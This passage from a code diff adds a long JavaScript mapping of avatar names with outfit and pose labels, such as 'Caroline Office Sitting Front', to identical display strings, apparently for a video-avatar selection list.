Blue Sweater', + 'Brandon in White Shirt': 'Brandon in White Shirt', + 'Brandon Business Sitting Front': 'Brandon Business Sitting Front', + 'Brandon Business Sitting Side': 'Brandon Business Sitting Side', + 'Brandon Business Standing Front': 'Brandon Business Standing Front', + 'Brandon Business Standing Side': 'Brandon Business Standing Side', + 'Brandon Casual Sitting Front': 'Brandon Casual Sitting Front', + 'Brandon Casual Sitting Side': 'Brandon Casual Sitting Side', + 'Brandon Kitchen Standing Front': 'Brandon Kitchen Standing Front', + 'Brandon Kitchen Standing Side': 'Brandon Kitchen Standing Side', + 'Brandon Lobby Sitting Front': 'Brandon Lobby Sitting Front', + 'Brandon Lobby Sitting Side': 'Brandon Lobby Sitting Side', + 'Brandon Lobby Standing Front': 'Brandon Lobby Standing Front', + 'Brandon Lobby Standing Side': 'Brandon Lobby Standing Side', + 'Brandon Office Sitting Front': 'Brandon Office Sitting Front', + 'Brandon Office Sitting Side': 'Brandon Office Sitting Side', + 'Brandon Office Standing Front': 'Brandon Office Standing Front', + 'Brandon Office Standing Side': 'Brandon Office Standing Side', + 'Brandon Sofa Sitting Front': 'Brandon Sofa Sitting Front', + 'Brandon Sofa Sitting Side': 'Brandon Sofa Sitting Side', + 'Brent Office Front 2': 'Brent Office Front 2', + 'Brent Office Front': 'Brent Office Front', + 'Brent Office Side 2': 'Brent Office Side 2', + 'Brent Office Side': 'Brent Office Side', + 'Brent Sofa Front 2': 'Brent Sofa Front 2', + 'Brent Sofa Front': 'Brent Sofa Front', + 'Brent Sofa Side 2': 'Brent Sofa Side 2', + 'Brent Sofa Side': 'Brent Sofa Side', + 'Briana in White shirt': 'Briana in White shirt', + 'Briana in Striped T-shirt': 'Briana in Striped T-shirt', + 'Briana in Brown suit': 'Briana in Brown suit', + Bruce: 'Bruce', + 'Bryan Casual Front': 'Bryan Casual Front', + 'Bryan Casual Side': 'Bryan Casual Side', + 'Bryan Fitness Coach': 'Bryan Fitness Coach', + 'Bryan Tech Expert': 'Bryan Tech Expert', + 'Bryan Plaid Shirt Front': 'Bryan Plaid Shirt Front', + 'Bryan Plaid Shirt Side': 'Bryan Plaid Shirt Side', + 'Bryan Suit Front': 'Bryan Suit Front', + 'Bryan Suit Side': 'Bryan Suit Side', + 'Bryce in Black t-shirt': 'Bryce in Black t-shirt', + 'Bryce in Blue blazer': 'Bryce in Blue blazer', + 'Bryce in Blue shirt': 'Bryce in Blue shirt', + 'Bryce in Grey blazer': 'Bryce in Grey blazer', + 'Bryce in White shirt': 'Bryce in White shirt', + 'Byron Business Front 2': 'Byron Business Front 2', + 'Byron Business Front': 'Byron Business Front', + 'Byron Business Side 2': 'Byron Business Side 2', + 'Byron Business Side': 'Byron Business Side', + 'Byron Business Sitting Front': 'Byron Business Sitting Front', + 'Byron Business Sitting Size': 'Byron Business Sitting Size', + 'Byron Casual Front 2': 'Byron Casual Front 2', + 'Byron Casual Front': 'Byron Casual Front', + 'Byron Casual Side 2': 'Byron Casual Side 2', + 'Byron Casual Side': 'Byron Casual Side', + 'Byron Casual Sitting Front': 'Byron Casual Sitting Front', + 'Byron Casual Sitting Side': 'Byron Casual Sitting Side', + 'Byron Jacket Front': 'Byron Jacket Front', + 'Byron Jacket Side': 'Byron Jacket Side', + 'Byron Sitting Front': 'Byron Sitting Front', + 'Byron Sitting Side': 'Byron Sitting Side', + 'Byron Suit Front': 'Byron Suit Front', + 'Byron Suit Side': 'Byron Suit Side', + 'Candace in Beige Dress (Front)': 'Candace in Beige Dress (Front)', + 'Candace in Beige Dress (Left)': 'Candace in Beige Dress (Left)', + 'Candace in Beige Dress (Right)': 'Candace in Beige Dress (Right)', + 'Candace in Doctor (Front)': 'Candace in Doctor (Front)', + 'Candace in Doctor (Left)': 'Candace in Doctor (Left)', + 'Candace in Doctor (Right)': 'Candace in Doctor (Right)', + 'Candace in Pink Blazer (Front)': 'Candace in Pink Blazer (Front)', + 'Candace in Pink Blazer (Right)': 'Candace in Pink Blazer (Right)', + 'Candace in Pink Blazer (Left)': 'Candace in Pink Blazer (Left)', + 'Carla in Doctor (Front)': 'Carla in Doctor (Front)', + 'Carla in Doctor (Left)': 'Carla in Doctor (Left)', + 'Carla in Doctor (Right)': 'Carla in Doctor (Right)', + 'Carla in Dress (Left)': 'Carla in Dress (Left)', + 'Carla in Shirt (Front)': 'Carla in Shirt (Front)', + 'Carla in Shirt (Left)': 'Carla in Shirt (Left)', + 'Carla in Shirt (Right)': 'Carla in Shirt (Right)', + 'Carlotta BizTalk Front': 'Carlotta BizTalk Front', + 'Carlotta BizTalk Side': 'Carlotta BizTalk Side', + 'Carlotta Business Front': 'Carlotta Business Front', + 'Carlotta Business Side': 'Carlotta Business Side', + 'Carlotta Casual Front': 'Carlotta Casual Front', + 'Carlotta Casual Side': 'Carlotta Casual Side', + 'Carlotta Casual Sitting Front': 'Carlotta Casual Sitting Front', + 'Carlotta Casual Sitting Side': 'Carlotta Casual Sitting Side', + 'Carlotta Half Front': 'Carlotta Half Front', + 'Carlotta Pink Jumpsuit Front 2': 'Carlotta Pink Jumpsuit Front 2', + 'Carlotta Pink Jumpsuit Front': 'Carlotta Pink Jumpsuit Front', + 'Carlotta Pink Jumpsuit Side 2': 'Carlotta Pink Jumpsuit Side 2', + 'Carlotta Pink Jumpsuit Side': 'Carlotta Pink Jumpsuit Side', + 'Carlotta Pink Jumpsuit Sitting Front': + 'Carlotta Pink Jumpsuit Sitting Front', + 'Carlotta Pink Jumpsuit Sitting Side': 'Carlotta Pink Jumpsuit Sitting Side', + 'Caroline Business Sitting Front': 'Caroline Business Sitting Front', + 'Caroline Business Sitting Side': 'Caroline Business Sitting Side', + 'Caroline Business Standing Front': 'Caroline Business Standing Front', + 'Caroline Business Standing Side': 'Caroline Business Standing Side', + 'Caroline in Blue Suit': 'Caroline in Blue Suit', + 'Caroline in White Shirt': 'Caroline in White Shirt', + 'Caroline in Yellow Casual': 'Caroline in Yellow Casual', + 'Caroline in Yellow Skirt': 'Caroline in Yellow Skirt', + 'Caroline Casual Sitting Front': 'Caroline Casual Sitting Front', + 'Caroline Casual Sitting Side': 'Caroline Casual Sitting Side', + 'Caroline Kitchen Standing Front': 'Caroline Kitchen Standing Front', + 'Caroline Kitchen Standing Side': 'Caroline Kitchen Standing Side', + 'Caroline Lobby Sitting Front': 'Caroline Lobby Sitting Front', + 'Caroline Lobby Sitting Side': 'Caroline Lobby Sitting Side', + 'Caroline Lobby Standing Front': 'Caroline Lobby Standing Front', + 'Caroline Lobby Standing Side': 'Caroline Lobby Standing Side', + 'Caroline Office Sitting Front': 'Caroline Office Sitting Front', + 'Caroline Office Sitting Side': 'Caroline Office Sitting Side', + 'Caroline Office Standing Front': 'Caroline Office Standing Front', + 'Caroline Office Standing Side': 'Caroline Office Standing Side', + 'Caroline Sofa Sitting Front': 'Caroline Sofa Sitting Front', + 'Caroline Sofa Sitting Side': 'Caroline Sofa Sitting Side', + 'Chad in Blue Shirt (Front)': 'Chad in Blue Shirt (Front)', + 'Chad in Blue Shirt (Left)': 'Chad in Blue Shirt (Left)', + 'Chad in Blue Shirt (Right)': 'Chad in Blue Shirt (Right)', + 'Chad in Grey Shirt (Front)': 'Chad in Grey Shirt (Front)', + 'Chad in Grey Shirt (Left)': 'Chad in Grey Shirt (Left)', + 'Chad in Grey Shirt (Right)': 'Chad in Grey Shirt (Right)', + 'Chad in Maintenance (Front)': 'Chad in Maintenance (Front)', + 'Chad in Maintenance (Left)': 'Chad in Maintenance (Left)', + 'Chad in Maintenance (Right)': 'Chad in Maintenance (Right)', + 'Chakir in Headscarf (Front)': 'Chakir in Headscarf (Front)', + 'Chakir in Headscarf (Left)': 'Chakir in Headscarf (Left)', + 'Chakir in Headscarf (Right)': 'Chakir in Headscarf (Right)', + 'Chakir in White Shirt (Front)': 'Chakir in White Shirt (Front)', + 'Chakir in White Shirt (Right)': 'Chakir in White Shirt (Right)', + 'Chakir in white Shirt (Left)': 'Chakir in white Shirt (Left)', + 'Chloe (Upper Body)': 'Chloe (Upper Body)', + 'Chloe Lounge Front': 'Chloe Lounge Front', + 'Chloe Lounge Side': 'Chloe Lounge Side', + 'Chloe Outdoor Side': 'Chloe Outdoor Side', + 'Colin Business Front 2': 'Colin Business Front 2', + 'Colin Business Front': 'Colin Business Front', + 'Colin Jacket Front': 'Colin Jacket Front', + 'Colin Sitting Cool Style 2': 'Colin Sitting Cool Style 2', + 'Colin Sitting Cool Style': 'Colin Sitting Cool Style', + 'Colin Suit Front': 'Colin Suit Front', + 'Colin Sweater Front': 'Colin Sweater Front', + 'Colin Sweater Sitting Front': 'Colin Sweater Sitting Front', + 'Connie Business Front': 'Connie Business Front', + 'Connie Business Sitting Front': 'Connie Business Sitting Front', + 'Connie Casual Sitting Front': 'Connie Casual Sitting Front', + 'Connie Casual Sitting Side': 'Connie Casual Sitting Side', + 'Connie Education Front': 'Connie Education Front', + 'Connie Education Side 2': 'Connie Education Side 2', + 'Connie Education Side': 'Connie Education Side', + 'Connie Skirt Front': 'Connie Skirt Front', + 'Connie Skirt Side': 'Connie Skirt Side', + 'Connie Skirt Sitting Front': 'Connie Skirt Sitting Front', + 'Connie Skirt Sitting Side': 'Connie Skirt Sitting Side', + 'Connie Suit Front': 'Connie Suit Front', + 'Conrad House Front': 'Conrad House Front', + 'Conrad House Side': 'Conrad House Side', + 'Conrad Sofa Front': 'Conrad Sofa Front', + 'Conrad Sofa Side': 'Conrad Sofa Side', + 'Crisanto Business Front': 'Crisanto Business Front', + 'Crisanto Business Side': 'Crisanto Business Side', + 'Crisanto Chef Front 2': 'Crisanto Chef Front 2', + 'Crisanto Chef Front': 'Crisanto Chef Front', + 'Crisanto Chef Side 2': 'Crisanto Chef Side 2', + 'Crisanto Chef Side': 'Crisanto Chef Side', + 'Crisanto Chef Sitting ': 'Crisanto Chef Sitting ', + 'Crisanto Education Front': 'Crisanto Education Front', + 'Crisanto Education Side': 'Crisanto Education Side', + 'Crisanto Nurse Front 2': 'Crisanto Nurse Front 2', + 'Crisanto Nurse Front': 'Crisanto Nurse Front', + 'Crisanto Nurse Side 2': 'Crisanto Nurse Side 2', + 'Crisanto Nurse Side': 'Crisanto Nurse Side', + 'Crisanto Nurse Sitting Front': 'Crisanto Nurse Sitting Front', + 'Crisanto Nurse Sitting Side': 'Crisanto Nurse Sitting Side', + 'Crisanto Suit Front': 'Crisanto Suit Front', + 'Crisanto Suit Side': 'Crisanto Suit Side', + 'Daphne in Blue blazer': 'Daphne in Blue blazer', + 'Daphne in Blue shirt': 'Daphne in Blue shirt', + 'Daphne in Grey blazer': 'Daphne in Grey blazer', + 'Daphne in Grey suit': 'Daphne in Grey suit', + 'Daphne in Pink hoodie': 'Daphne in Pink hoodie', + 'Daphne in White t-shirt': 'Daphne in White t-shirt', + 'Darnell in Blue Shirt (Front)': 'Darnell in Blue Shirt (Front)', + 'Darnell in Blue Shirt (Left)': 'Darnell in Blue Shirt (Left)', + 'Darnell in Blue Shirt (Right)': 'Darnell in Blue Shirt (Right)', + 'Darnell in Bordeaux Polo (Front)': 'Darnell in Bordeaux Polo (Front)', + 'Darnell in Bordeaux Polo (Left)': 'Darnell in Bordeaux Polo (Left)', + 'Darnell in Bordeaux Polo (Right)': 'Darnell in Bordeaux Polo (Right)', + 'Darnell in Doctor (Front)': 'Darnell in Doctor (Front)', + 'Darnell in Doctor (Left)': 'Darnell in Doctor (Left)', + 'Darnell in Doctor (Right)': 'Darnell in Doctor (Right)', + 'Derya Indoor Front 2': 'Derya Indoor Front 2', + 'Derya Indoor Front': 'Derya Indoor Front', + 'Derya Indoor Side 2': 'Derya Indoor Side 2', + 'Derya Indoor Side': 'Derya Indoor Side', + 'Derya Office Front 2': 'Derya Office Front 2', + 'Derya Office Front': 'Derya Office Front', + 'Derya Office Side 2': 'Derya Office Side 2', + 'Derya Office Side': 'Derya Office Side', + 'Dexter Casual Front': 'Dexter Casual Front', + 'Dexter Casuat Side': 'Dexter Casuat Side', + 'Dexter Doctor Sitting': 'Dexter Doctor Sitting', + 'Dexter Doctor Standing': 'Dexter Doctor Standing', + 'Dexter Lawyer': 'Dexter Lawyer', + 'Dexter Suit Front': 'Dexter Suit Front', + 'Dexter Suit Side': 'Dexter Suit Side', + 'Dexter Winter Coat Front': 'Dexter Winter Coat Front', + 'Dexter Winter Coat Side': 'Dexter Winter Coat Side', + 'Diana in Black Camisole Top': 'Diana in Black Camisole Top', + 'Diana in Striped Shirt': 'Diana in Striped Shirt', + 'Diana in White Shirt': 'Diana in White Shirt', + 'Diora in Blue blazer': 'Diora in Blue blazer', + 'Diora in Green blazer': 'Diora in Green blazer', + 'Diora in Pink shirt': 'Diora in Pink shirt', + 'Diora in White shirt': 'Diora in White shirt', + 'Diora in White t-shirt': 'Diora in White t-shirt', + 'Diran Casual Front': 'Diran Casual Front', + 'Diran Casual Side': 'Diran Casual Side', + 'Diran Jacket Front': 'Diran Jacket Front', + 'Diran Jacket Side': 'Diran Jacket Side', + 'Diran Macbook Business Front': 'Diran Macbook Business Front', + 'Diran Macbook Business Side': 'Diran Macbook Business Side', + 'Diran Macbook Casual Front': 'Diran Macbook Casual Front', + 'Diran Macbook Casual Side': 'Diran Macbook Casual Side', + 'Diran Macbook Sitting Front 2': 'Diran Macbook Sitting Front 2', + 'Diran Macbook Sitting Front': 'Diran Macbook Sitting Front', + 'Diran Macbook Sitting Side 2': 'Diran Macbook Sitting Side 2', + 'Diran Macbook Sitting Side': 'Diran Macbook Sitting Side', + 'Diran Suit Front': 'Diran Suit Front', + 'Diran Suit Side': 'Diran Suit Side', + 'Diran iPad Front': 'Diran iPad Front', + 'Diran iPad Side': 'Diran iPad Side', + 'Diran iPad Sitting Front': 'Diran iPad Sitting Front', + 'Diran iPad Sitting Side': 'Diran iPad Sitting Side', + 'Elenora Casual Front': 'Elenora Casual Front', + 'Elenora Casual Side': 'Elenora Casual Side', + 'Elenora Fitness Coach': 'Elenora Fitness Coach', + 'Elenora Fitness Coach 2': 'Elenora Fitness Coach 2', + 'Elenora Tech Expert': 'Elenora Tech Expert', + 'Elenora Suit Front': 'Elenora Suit Front', + 'Elenora Suit Side': 'Elenora Suit Side', + 'Elenora YellowDress Front': 'Elenora YellowDress Front', + 'Elenora YellowDress Side': 'Elenora YellowDress Side', + 'Emanuel Office Front': 'Emanuel Office Front', + 'Emanuel Office Side': 'Emanuel Office Side', + 'Emanuel Sofa Front': 'Emanuel Sofa Front', + 'Emanuel Sofa Side': 'Emanuel Sofa Side', + 'Emery in Blue blazer': 'Emery in Blue blazer', + 'Emery in Blue suit': 'Emery in Blue suit', + 'Emery in Green shirt': 'Emery in Green shirt', + 'Emery in Khaki blazer': 'Emery in Khaki blazer', + 'Emery in Red blazer': 'Emery in Red blazer', + 'Emery in White t-shirt': 'Emery in White t-shirt', + 'Emilia Outdoor Business Front': 'Emilia Outdoor Business Front', + 'Emilia Outdoor Business Side': 'Emilia Outdoor Business Side', + 'Emilia Outdoor Yoga Front 2': 'Emilia Outdoor Yoga Front 2', + 'Emilia Outdoor Yoga Front': 'Emilia Outdoor Yoga Front', + 'Emilia Outdoor Yoga Side': 'Emilia Outdoor Yoga Side', + 'Emilia Picnic Front': 'Emilia Picnic Front', + 'Emilia Picnic Side': 'Emilia Picnic Side', + 'Edward in Black Suit': 'Edward in Black Suit', + Edward: 'Edward', + 'Edward in Blue Shirt': 'Edward in Blue Shirt', + 'Esmond in Black coat': 'Esmond in Black coat', + 'Esmond in Black shirt': 'Esmond in Black shirt', + 'Esmond in Blue blazer': 'Esmond in Blue blazer', + 'Esmond in Blue suit': 'Esmond in Blue suit', + 'Esmond in Grey sweater': 'Esmond in Grey sweater', + 'Fernando Business Indoor Front': 'Fernando Business Indoor Front', + 'Fernando Business Indoor Side': 'Fernando Business Indoor Side', + 'Fernando OutdoorChair Front 2': 'Fernando OutdoorChair Front 2', + 'Fernando Outdoor Chair Front': 'Fernando Outdoor Chair Front', + 'Fernando Outdoor Chair Side': 'Fernando Outdoor Chair Side', + 'Fernando Outdoor Front': 'Fernando Outdoor Front', + 'Fernando Outdoor Side': 'Fernando Outdoor Side', + 'Fernando Outdoor Table Front': 'Fernando Outdoor Table Front', + 'Fernando Outdoor Table Side': 'Fernando Outdoor Table Side', + 'Fina Business Sitting Front': 'Fina Business Sitting Front', + 'Fina Business Sitting Side': 'Fina Business Sitting Side', + 'Fina Casual Front 2': 'Fina Casual Front 2', + 'Fina Casual Front': 'Fina Casual Front', + 'Fina Casual Side 2': 'Fina Casual Side 2', + 'Fina Casual Side': 'Fina Casual Side', + 'Fina Casual Sitting Front': 'Fina Casual Sitting Front', + 'Fina Casual Sitting Side': 'Fina Casual Sitting Side', + 'Fina Denim Front': 'Fina Denim Front', + 'Fina Denim Side': 'Fina Denim Side', + 'Fina Denim Sitting Front': 'Fina Denim Sitting Front', + 'Fina Employee Front': 'Fina Employee Front', + 'Fina Employee Side': 'Fina Employee Side', + 'Fina Suit Front': 'Fina Suit Front', + 'Fina Suit Side': 'Fina Suit Side', + 'Fina Support Front': 'Fina Support Front', + 'Fina Support Side': 'Fina Support Side', + 'Florin Business Sitting Front': 'Florin Business Sitting Front', + 'Florin Business Sitting Side': 'Florin Business Sitting Side', + 'Florin Maintain Front 2': 'Florin Maintain Front 2', + 'Florin Maintain Front': 'Florin Maintain Front', + 'Florin Maintain Side 2': 'Florin Maintain Side 2', + 'Florin Maintain Side': 'Florin Maintain Side', + 'Florin Maintain Siiting Front': 'Florin Maintain Siiting Front', + 'Florin Maintain Siiting Side': 'Florin Maintain Siiting Side', + 'Florin Suit Front 2': 'Florin Suit Front 2', + 'Florin Suit Front': 'Florin Suit Front', + 'Florin Suit Side 2': 'Florin Suit Side 2', + 'Florin Suit Side': 'Florin Suit Side', + 'Francis in Blazer (Front)': 'Francis in Blazer (Front)', + 'Francis in Blazer (Left)': 'Francis in Blazer (Left)', + 'Francis in Blazer (Right)': 'Francis in Blazer (Right)', + 'Francis in Doctor (Front)': 'Francis in Doctor (Front)', + 'Francis in Doctor (Left)': 'Francis in Doctor (Left)', + 'Francis in Doctor (Right)': 'Francis in Doctor (Right)', + 'Francis in Shirt (Front)': 'Francis in Shirt (Front)', + 'Francis in Shirt (Left)': 'Francis in Shirt (Left)', + 'Francis in Shirt (Right)': 'Francis in Shirt (Right)', + 'Fred in Blue Long Shirt (Front)': 'Fred in Blue Long Shirt (Front)', + 'Fred in Blue Long Shirt (Left)': 'Fred in Blue Long Shirt (Left)', + 'Fred in Blue Long Shirt (Right)': 'Fred in Blue Long Shirt (Right)', + 'Fred in Blue Short Shirt (Front)': 'Fred in Blue Short Shirt (Front)', + 'Fred in Blue Short Shirt (Left)': 'Fred in Blue Short Shirt (Left)', + 'Fred in Blue Short Shirt (Right)': 'Fred in Blue Short Shirt (Right)', + 'Freja in Blue blazer': 'Freja in Blue blazer', + 'Freja in Grey blazer': 'Freja in Grey blazer', + 'Freja in White blazer': 'Freja in White blazer', + 'Freja in White polo shirt': 'Freja in White polo shirt', + 'Freja in White shirt': 'Freja in White shirt', + 'Gabriel in Black Sweatshirt': 'Gabriel in Black Sweatshirt', + 'Gabriel in Blue Suit': 'Gabriel in Blue Suit', + 'Gabriel in Gray Shirt': 'Gabriel in Gray Shirt', + 'Gala Bedroom Front': 'Gala Bedroom Front', + 'Gala Business Sofa Front 2': 'Gala Business Sofa Front 2', + 'Gala Business Sofa Front 3': 'Gala Business Sofa Front 3', + 'Gala Business Sofa Front': 'Gala Business Sofa Front', + 'Gala Business Sofa Side 2': 'Gala Business Sofa Side 2', + 'Gala Business Sofa Side 3': 'Gala Business Sofa Side 3', + 'Gala Business Sofa Side': 'Gala Business Sofa Side', + 'Gala Casual Sofa with iPad Front': 'Gala Casual Sofa with iPad Front', + 'Gala Casual Sofa with iPad Side 2': 'Gala Casual Sofa with iPad Side 2', + 'Gala Casual Sofa with iPad Side': 'Gala Casual Sofa with iPad Side', + 'Gala Office Front': 'Gala Office Front', + 'Gala Office Side': 'Gala Office Side', + 'Gala Sofa Front 2': 'Gala Sofa Front 2', + 'Gala Sofa Front 3': 'Gala Sofa Front 3', + 'Gala Sofa Front': 'Gala Sofa Front', + 'Gala Sofa Side 2': 'Gala Sofa Side 2', + 'Gala Sofa Side 3': 'Gala Sofa Side 3', + 'Gala Sofa Side': 'Gala Sofa Side', + 'Georgia (Upper Body)': 'Georgia (Upper Body)', + 'Georgia Casual Front': 'Georgia Casual Front', + 'Georgia Casual Side': 'Georgia Casual Side', + 'Georgia Office Front': 'Georgia Office Front', + 'Georgia Office Side': 'Georgia Office Side', + 'Gerardo Sofa Side': 'Gerardo Sofa Side', + 'Gerardo Indoor Front': 'Gerardo Indoor Front', + 'Gerardo Indoor Side': 'Gerardo Indoor Side', + 'Gerardo Night Scene Front 2': 'Gerardo Night Scene Front 2', + 'Gerardo Night Scene Front': 'Gerardo Night Scene Front', + 'Gerardo Outdoor Sport Front': 'Gerardo Outdoor Sport Front', + 'Gerardo Outdoor Sport Side': 'Gerardo Outdoor Sport Side', + 'Gerardo Sofa Front': 'Gerardo Sofa Front', + 'Giulia Office Front 2': 'Giulia Office Front 2', + 'Giulia Office Front': 'Giulia Office Front', + 'Giulia Office Side 2': 'Giulia Office Side 2', + 'Giulia Office Side': 'Giulia Office Side', + 'Giulia Sofa Front': 'Giulia Sofa Front', + 'Giulia Sofa Side': 'Giulia Sofa Side', + 'Giulia Sofa Front 2': 'Giulia Sofa Front 2', + 'Giulia Sofa Side 3': 'Giulia Sofa Side 3', + 'Hada Casual Cup Front': 'Hada Casual Cup Front', + 'Hada Casual Cup Side': 'Hada Casual Cup Side', + 'Hada Casual Front': 'Hada Casual Front', + 'Hada Casual Side': 'Hada Casual Side', + 'Hada Casual Sitting Front 2': 'Hada Casual Sitting Front 2', + 'Hada Casual Sitting Front': 'Hada Casual Sitting Front', + 'Hada Casual Sitting Side 2': 'Hada Casual Sitting Side 2', + 'Hada Casual Sitting Side': 'Hada Casual Sitting Side', + 'Hada LivelyGestures Front': 'Hada LivelyGestures Front', + 'Hada LivelyGestures Side': 'Hada LivelyGestures Side', + 'Hada LivelyGestures Sitting Front': 'Hada LivelyGestures Sitting Front', + 'Hada LivelyGestures Sitting Side': 'Hada LivelyGestures Sitting Side', + 'Hada Suit Front 2': 'Hada Suit Front 2', + 'Hada Suit Front': 'Hada Suit Front', + 'Hada Suit Side 2': 'Hada Suit Side 2', + 'Hada Suit Side': 'Hada Suit Side', + 'Hada Suit Sitting Front 2': 'Hada Suit Sitting Front 2', + 'Hada Suit Sitting Front': 'Hada Suit Sitting Front', + 'Hada Suit Sitting Side': 'Hada Suit Sitting Side', + 'Harrison in Black Suit': 'Harrison in Black Suit', + 'Harrison in Gray Suit': 'Harrison in Gray Suit', + 'Harrison in White Shirt': 'Harrison in White Shirt', + 'Ian in Beige Shirt': 'Ian in Beige Shirt', + 'Ian in Black Jacket': 'Ian in Black Jacket', + 'Ian in Gray Suit': 'Ian in Gray Suit', + 'Ida Lounge Front 2': 'Ida Lounge Front 2', + 'Ida Lounge Front': 'Ida Lounge Front', + 'Ida Lounge Side 2': 'Ida Lounge Side 2', + 'Ida Lounge Side': 'Ida Lounge Side', + 'Ida Sofa Front 2': 'Ida Sofa Front 2', + 'Ida Sofa Front': 'Ida Sofa Front', + 'Ida Sofa Side 2': 'Ida Sofa Side 2', + 'Ida Sofa Side': 'Ida Sofa Side', + 'Iker in Almond sweater': 'Iker in Almond sweater', + 'Iker in Black blazer': 'Iker in Black blazer', + 'Iker in Blue shirt': 'Iker in Blue shirt', + 'Iker in Grey blazer': 'Iker in Grey blazer', + 'Iker in White shirt': 'Iker in White shirt', + 'Imelda BizTalk Front': 'Imelda BizTalk Front', + 'Imelda BizTalk Side': 'Imelda BizTalk Side', + 'Imelda Business Front': 'Imelda Business Front', + 'Imelda Business Side': 'Imelda Business Side', + 'Imelda Business Sitting Front 2': 'Imelda Business Sitting Front 2', + 'Imelda Business Sitting Front': 'Imelda Business Sitting Front', + 'Imelda Business Sitting Side 2': 'Imelda Business Sitting Side 2', + 'Imelda Business Sitting Side': 'Imelda Business Sitting Side', + 'Imelda Casual Front': 'Imelda Casual Front', + 'Imelda Casual Side': 'Imelda Casual Side', + 'Imelda Coat Front 2': 'Imelda Coat Front 2', + 'Imelda Coat Front': 'Imelda Coat Front', + 'Imelda Coat Side': 'Imelda Coat Side', + 'Imelda Customer Support Front': 'Imelda Customer Support Front', + 'Imelda Customer Support Side': 'Imelda Customer Support Side', + 'Imelda Full Side ': 'Imelda Full Side ', + 'Imelda Suit Front': 'Imelda Suit Front', + 'Imelda Suit Side': 'Imelda Suit Side', + 'Ivan in Black Suit': 'Ivan in Black Suit', + 'Ivan in Gary Suit': 'Ivan in Gary Suit', + 'Ivan in Suit': 'Ivan in Suit', + 'Ivan in Sweater': 'Ivan in Sweater', + 'Jason in Black Jacket': 'Jason in Black Jacket', + 'Jason in Blue Suit': 'Jason in Blue Suit', + 'Jason in Gray Shirt': 'Jason in Gray Shirt', + 'Javi Intense Sitting Speaking Front': 'Javi Intense Sitting Speaking Front', + 'Javi Intense Sitting Speaking Side': 'Javi Intense Sitting Speaking Side', + 'Javi Intense Sitting Speaking ': 'Javi Intense Sitting Speaking ', + 'Javi Intense Speaking Front 2': 'Javi Intense Speaking Front 2', + 'Javi Intense Speaking Front 3': 'Javi Intense Speaking Front 3', + 'Javi Intense Speaking Front': 'Javi Intense Speaking Front', + 'Javi Intense Speaking Side 3': 'Javi Intense Speaking Side 3', + 'Javi Intense Speaking Side': 'Javi Intense Speaking Side', + 'Javi in Passionate Gestures 2': 'Javi in Passionate Gestures 2', + 'Javi in Passionate Gestures 3': 'Javi in Passionate Gestures 3', + 'Javi in Passionate Gestures': 'Javi in Passionate Gestures', + 'Jin (Upper Body)': 'Jin (Upper Body)', + 'Jin Blue Casual Front': 'Jin Blue Casual Front', + 'Jin Blue Casual Side': 'Jin Blue Casual Side', + 'Jin Business Café Mode Front': 'Jin Business Café Mode Front', + 'Jin Business Café Mode Side': 'Jin Business Café Mode Side', + 'Jin Business Sitting Front': 'Jin Business Sitting Front', + 'Jin Business Sitting Side': 'Jin Business Sitting Side', + 'Jin Casual Café Mode Front': 'Jin Casual Café Mode Front', + 'Jin Casual Café Mode Side': 'Jin Casual Café Mode Side', + 'Jin Casual Sitting Front': 'Jin Casual Sitting Front', + 'Jin Casual Sitting Side': 'Jin Casual Sitting Side', + 'Jin Suit Front': 'Jin Suit Front', + 'Jin Suit Side': 'Jin Suit Side', + 'Jin Vest Front': 'Jin Vest Front', + 'Jin Vest Side': 'Jin Vest Side', + 'Jin Vest Sitting Front': 'Jin Vest Sitting Front', + 'Jin Vest Sitting Side': 'Jin Vest Sitting Side', + 'Jin in Education Front': 'Jin in Education Front', + 'Jin in Education Side': 'Jin in Education Side', + 'Jinwoo in Black vest': 'Jinwoo in Black vest', + 'Jinwoo in Blue suit': 'Jinwoo in Blue suit', + 'Jinwoo in White T-shirt': 'Jinwoo in White T-shirt', + 'Jinwoo in White shirt': 'Jinwoo in White shirt', + 'Jinwoo in White suit': 'Jinwoo in White suit', + 'Jocelyn Office Front 2': 'Jocelyn Office Front 2', + 'Jocelyn Office Front': 'Jocelyn Office Front', + 'Jocelyn Office Side 2': 'Jocelyn Office Side 2', + 'Jocelyn Office Side': 'Jocelyn Office Side', + 'Jocelyn Sofa Front 2': 'Jocelyn Sofa Front 2', + 'Jocelyn Sofa Front': 'Jocelyn Sofa Front', + 'Jocelyn Sofa Side 2': 'Jocelyn Sofa Side 2', + 'Jocelyn Sofa Side': 'Jocelyn Sofa Side', + 'Joel Couch Front': 'Joel Couch Front', + 'Joel Couch Side': 'Joel Couch Side', + 'Joel Gym Front': 'Joel Gym Front', + 'Joel Gym Side': 'Joel Gym Side', + 'Joel Mountain Front': 'Joel Mountain Front', + 'Joel Mountain Side': 'Joel Mountain Side', + 'Jonas (Upper Body)': 'Jonas (Upper Body)', + 'Jonas Gym Front 2': 'Jonas Gym Front 2', + 'Jonas Gym Front': 'Jonas Gym Front', + 'Jonas Gym Side 2': 'Jonas Gym Side 2', + 'Jonas Gym Side ': 'Jonas Gym Side ', + 'June Office Front 2': 'June Office Front 2', + 'Juan Office Front': 'Juan Office Front', + 'Juan Office Side 2': 'Juan Office Side 2', + 'Juan Office Side': 'Juan Office Side', + 'Juan Sofa Front 2': 'Juan Sofa Front 2', + 'Juan Sofa Front': 'Juan Sofa Front', + 'Juan Sofa Side 2': 'Juan Sofa Side 2', + 'Juan Sofa Side': 'Juan Sofa Side', + 'Judita (Upper Body)': 'Judita (Upper Body)', + 'Judita Yoga Front 2': 'Judita Yoga Front 2', + 'Judita Yoga Front': 'Judita Yoga Front', + 'Judita Yoga Side 2': 'Judita Yoga Side 2', + 'Judita Yoga Side': 'Judita Yoga Side', + 'Judith (Upper Body)': 'Judith (Upper Body)', + 'Judith Business Front 2': 'Judith Business Front 2', + 'Judith Business Front': 'Judith Business Front', + 'Judith Business Sitting Front': 'Judith Business Sitting Front', + 'Judith Casual Front': 'Judith Casual Front', + 'Judith Casual Sitting Front': 'Judith Casual Sitting Front', + 'Judith Suit Front': 'Judith Suit Front', + 'Judy Business Front': 'Judy Business Front', + 'Judy Business Side': 'Judy Business Side', + 'Judy Business Sitting Front': 'Judy Business Sitting Front', + 'Judy Casual Front': 'Judy Casual Front', + 'Judy Casual Side': 'Judy Casual Side', + 'Judy Casual Sitting': 'Judy Casual Sitting', + 'Judy ConfidentSpeaking Front': 'Judy ConfidentSpeaking Front', + 'Judy ConfidentSpeaking Side': 'Judy ConfidentSpeaking Side', + 'Judy Doctor Sitting': 'Judy Doctor Sitting', + 'Judy Doctor Standing': 